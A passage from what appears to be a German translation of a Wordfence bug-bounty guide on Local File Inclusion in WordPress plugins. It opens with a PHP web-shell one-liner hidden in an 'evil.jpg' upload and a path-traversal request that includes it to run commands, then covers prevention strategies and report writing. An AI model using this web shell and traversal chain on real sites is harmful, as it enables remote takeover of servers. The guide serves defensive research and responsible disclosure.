Laden Sie eine PHP-haltige „Bilddatei“ (z. B. evil.jpg) hoch, die einen einfachen Befehlsausführer enthält:

1
<?php echo 'OK:'; system($_GET['c'] ?? ''); ?>

Verwenden Sie die LFI, um es einzufügen:

1
2
GET /?vuln_param=../../../../../../../wp-content/uploads/2025/09/evil.jpg&c=id HTTP/1.1
Host: target

In diesem speziellen Beispiel enthält die Ausgabe „OK:“ und das Ergebnis des Befehls.

Profi-Tipp: Wenn ein einzelnes Plugin beide Probleme aufweist – eine Upload-Funktion, die das Speichern von durch Angreifer kontrollierten Inhalten ermöglicht, sowie eine LFI, die diese Datei enthalten kann –, gilt dies in der Regel als Remote Code Execution (RCE) und qualifiziert sich für die höhere RCE-Auszahlung im Wordfence Bug Bounty Program.

WordPress-Kontext

Kern-Medien-Uploads blockieren in der Regel PHP und transformieren Bilder (und können Inhalte umschreiben/entfernen), aber viele Plugins implementieren ihre eigenen Uploader, erlauben zusätzliche Typen oder speichern Dateien unverändert in wp-content/uploads/ oder Plugin-Ordnern.

So verhindern Sie LFI-Sicherheitslücken

Wenn Sie bis hierher gelesen haben und kein Forscher oder Bug-Jäger, sondern ein WordPress-Entwickler sind, sollten Sie nun verstehen, wie LFI-Sicherheitslücken entstehen und wie Angreifer sie ausnutzen können.

Hier finden Sie eine Übersicht über Codierungsstrategien zur Verhinderung von Local File Inclusion-Sicherheitslücken. Die Verwendung einer Strategie aus dieser Liste kann für Ihren speziellen Anwendungsfall ausreichend sein, um LFI-Exploits zu verhindern. Die Kombination mehrerer dieser Strategien bietet jedoch einen umfassenden Schutz:

  1. Verwenden Sie eine Allowlist:
    • Anstatt den Benutzern die Eingabe eines Dateinamens zu überlassen, ordnen Sie den Wünschen der Benutzer (z. B. eine „Vorlage” mit dem Namen „header”) einen bestimmten, vordefinierten Dateinamen zu (z. B. header.php). Wenn ein angeforderter Schlüssel nicht in Ihrer Allowlist enthalten ist, lehnen Sie die Anfrage ab.
    • WordPress-Lösung: Verwenden Sie ein Array mit zulässigen Dateien
  2. Kanonisieren und einschränken Sie Pfade:
    • Angreifer nutzen Eingaben wie ../ (Pfadüberquerung), um aus Ihrem vorgesehenen Verzeichnis zu entkommen.
    • WordPress-Lösung: Verwenden Sie realpath() oder sanitize_file_name(), um Pfadüberquerungssequenzen aufzulösen, und wp_normalize_path(), um Verzeichnistrennzeichen über verschiedene Betriebssysteme hinweg zu standardisieren. Überprüfen Sie immer, ob die aufgelösten Pfade innerhalb Ihres festgelegten Basisverzeichnisses bleiben. Beachten Sie, dass sanitize_file_name() Zeichen entfernen und Dateinamen ändern kann. Ziehen Sie es vor, die Absicht des Benutzers auf Schlüssel in der Zulassungsliste abzubilden (z. B. headerheader.php), anstatt rohe Dateinamen von Benutzern zu akzeptieren.
  3. Stream-Wrapper und absolute Pfade ablehnen:
    • Über die Pfadüberquerung hinaus verwenden Angreifer häufig „Stream-Wrapper“ (php://filter, data://, phar​://) oder absolute Pfade (/etc/passwd, C:\Windows\system.ini), um das Lesen beliebiger Dateien oder sogar die Ausführung von Code zu erzwingen.
    • WordPress-Lösung: Eine Whitelist deckt zwar einen Großteil davon ab, aber explizite Überprüfungen auf diese Muster bieten eine zusätzliche Schutzebene. Legen Sie den Speicherort, aus dem Dateien eingebunden werden sollen, fest.
  4. Verlassen Sie sich nicht ausschließlich auf feste Dateierweiterungen:
    • Das Anhängen von .php an Benutzereingaben reicht nicht aus. Angreifer können weiterhin Pfadüberquerungssequenzen verwenden.
  5. Priorisieren Sie statische Einbindungen; schränken Sie dynamische Einbindungen ein:
    • Wenn möglich, binden Sie einfach static-file.phpein. Wenn Sie wirklich dynamische Einbindungen benötigen (z. B. zum Laden verschiedener Vorlagen basierend auf Einstellungen), wenden Sie alle oben genannten Prinzipien an, um diese so streng wie möglich einzuschränken.
Verfassen eines hervorragenden LFI-Berichts zur Einreichung

Lesen Sie unseren Abschnitt „Verfassen eines hervorragenden XSS-Berichts zur Einreichung” im Blogbeitrag „So finden Sie XSS-Schwachstellen (Cross-Site Scripting) in WordPress-Plugins und -Themes”, um eine Vorstellung davon zu bekommen, was Sie in Ihren LFI-Schwachstellenbericht aufnehmen sollten.

Halten Sie Ihren Bericht prägnant, aber detailliert genug, damit Schwachstellenanalysten die Schwachstelle reproduzieren können. Das bedeutet, dass Sie nicht nur einen Proof-of-Concept-Exploit beifügen sollten, sondern auch die Position des anfälligen Codes (Datei, Zeilennummer), eine Erklärung, warum der Code anfällig ist (idealerweise eine Erklärung des Datenflusses von der Quelle zum Senke), sowie relevante Umgebungsinformationen (z. B. Betriebssystem, WordPress-Version, SQL- und PHP-Versionen usw.), wenn die Ausnutzung auf bestimmte Umgebungen oder Konfigurationen beschränkt ist. Wenn eine LFI gefunden wird, ist es möglich, dass das gleiche Muster an anderer Stelle in der Software verwendet wird. Es ist wichtig, dass Sie den Code vollständig überprüfen. Wenn andere Funktionen gefunden werden, die die anfällige Funktionalität verwenden, haben Sie möglicherweise Anspruch auf den Bonus „Betrifft mehrere Funktionen” des Wordfence Bug Bounty-Programms.

Fokus auf LFI-Schwachstellen mit hoher Auswirkung

Bei der Suche nach LFI-Schwachstellen in WordPress-Plugins und -Themes sollte der Schwerpunkt auf Schwachstellen mit hoher Auswirkung liegen, die ein reales Risiko für Website-Betreiber darstellen. LFI-Schwachstellen mit hoher Auswirkung ermöglichen es in der Regel nicht authentifizierten Angreifern oder Angreifern mit minimalen Berechtigungen (z. B. Abonnenten), beliebigen Code auf dem Server auszuführen.

Diese Art von Schwachstellen wird von Angreifern weitaus häufiger ausgenutzt als LFI-Schwachstellen, die Berechtigungen auf Contributor-, Author-, Editor- oder Admin-Ebene erfordern. Nicht authentifizierte LFI-Schwachstellen und solche auf Abonnentenebene werden im Wordfence Bug Bounty-Programm aufgrund ihrer höheren Ausnutzungswahrscheinlichkeit auch höher vergütet. Auf der Registerkarte „Belohnungen“ unserer Seite „Bug Bounty-Programm“ können Sie die Auszahlungen für diese Schwachstellen berechnen. Wenn Sie eine begrenzte LFI finden, sollten Sie schließlich nach anderen Schwachstellen oder Schwächen suchen, die in Verbindung mit der LFI genutzt werden könnten, um eine größere Wirkung zu erzielen, wie z. B. die Ausführung von Remote-Code.

Fazit

Local File Inclusion ist eine der zehn häufigsten Schwachstellen im WordPress-Ökosystem und belegt 2024 den siebten Platz. Obwohl sie gut bekannt ist, tritt sie immer noch in modernen Plugins und Themes auf, wenn benutzergesteuerte Werte Include-/Require-Pfade beeinflussen dürfen. In der Praxis sind die Ursachen dafür einfach: variable Includes, die sich nur auf eine feste „.php“-Erweiterung verlassen, die Verwendung von Textbereinigung anstelle von Dateinamenbereinigung, fehlende Allowlists und mangelnde Verzeichnisbeschränkung.

In diesem Leitfaden haben wir erläutert, wie LFI in WordPress funktioniert, wo es typischerweise auftritt und wie man es mit einem Sink-First-Workflow effizient finden kann. Wir haben evidenzbasierte Warnsignale hervorgehoben und einen realen Fall mit Studien zu drei CVEs demonstriert, einschließlich praktischer Proof-of-Concept-Tipps wie Overshooting-Traversal-Sequenzen und der einfachsten Methode, um die Ausnutzbarkeit zu demonstrieren. Wir haben auch Material zu LFI-zu-RCE-Techniken für Leser zusammengestellt, die Kettenreaktionen und die Eskalation von Auswirkungen verstehen möchten.

Priorisieren Sie bei Ihrer Suche Probleme mit hoher Auswirkung, die keine Authentifizierung oder nur Rollen mit geringen Berechtigungen erfordern. Geben Sie bei der Meldung die anfällige Datei und Zeile, eine klare Source-to-Sink-Verfolgung, einen sicheren Proof-of-Concept, etwaige Umgebungsbeschränkungen und kontextspezifische Anweisungen zur Behebung an. Diese Details beschleunigen sowohl die Triage als auch das Patchen durch die Entwickler.

Jetzt ist es an der Zeit, dies in die Praxis umzusetzen. Beschränken Sie Ihre Suche auf ein Plugin- oder Theme-Verzeichnis, suchen Sie nach variablen Includes, verfolgen Sie diese bis zu ihren Quellen zurück, validieren Sie Schutzvorrichtungen und testen Sie sie dynamisch in Ihrer Laborumgebung. Wenn Sie eine Local File Inclusion-Sicherheitslücke bestätigen, melden Sie diese verantwortungsbewusst über das Wordfence Bug Bounty Program, wo Sie bis zu 31.200 US-Dollar pro Sicherheitslücke verdienen und gleichzeitig zur Sicherheit von Millionen von WordPress-Websites beitragen können.

Wordfence

Unsere Mission mit Wordfence Intelligence ist es, wertvolle Informationen zu Sicherheitslücken für alle, wie beispielsweise die WordPress-Community, leicht zugänglich zu machen, damit sowohl Einzelpersonen als auch Organisationen diese Daten nutzen können, um mehrschichtige Sicherheitsmaßnahmen zu implementieren, was im Einklang mit unserer übergeordneten Mission steht, WordPress mit umfassenden Verteidigungsstrategien zu schützen. Aus diesem Grund sind die Benutzeroberfläche, die Schwachstellen-API, die Webhook-Integration und der Wordfence CLI Vulnerability Scanner von Wordfence Intelligence sowohl für den privaten als auch für den kommerziellen Gebrauch völlig kostenlos zugänglich und nutzbar, und aus diesem Grund veröffentlichen wir diesen wöchentlichen Schwachstellenbericht. Als weltweit führender Anbieter einer hochwertigen Schwachstellendatenbank für WordPress können Website-Betreiber sicher sein, dass Wordfence ihnen den Rücken freihält.

Unternehmen, Hosting-Anbieter und sogar Privatpersonen können den Wordfence CLI Vulnerability Scanner verwenden, um regelmäßige Schwachstellenscans auf den von ihnen geschützten Websites durchzuführen. Alternativ können Sie die Vulnerability Database API nutzen, um einen vollständigen Auszug aus unserer Datenbank mit über 29.000 Schwachstellen zu erhalten, und dann die Webhook-Integration nutzen, um über die neuesten Schwachstellen, die in Echtzeit hinzugefügt werden, sowie über alle Aktualisierungen der Datenbank auf dem Laufenden zu bleiben – und das alles kostenlos.

Entdecken Sie mehr


Bild/Quelle: https://depositphotos.com/de/home.html

Folgen Sie uns auf X

Folgen Sie uns auf Bluesky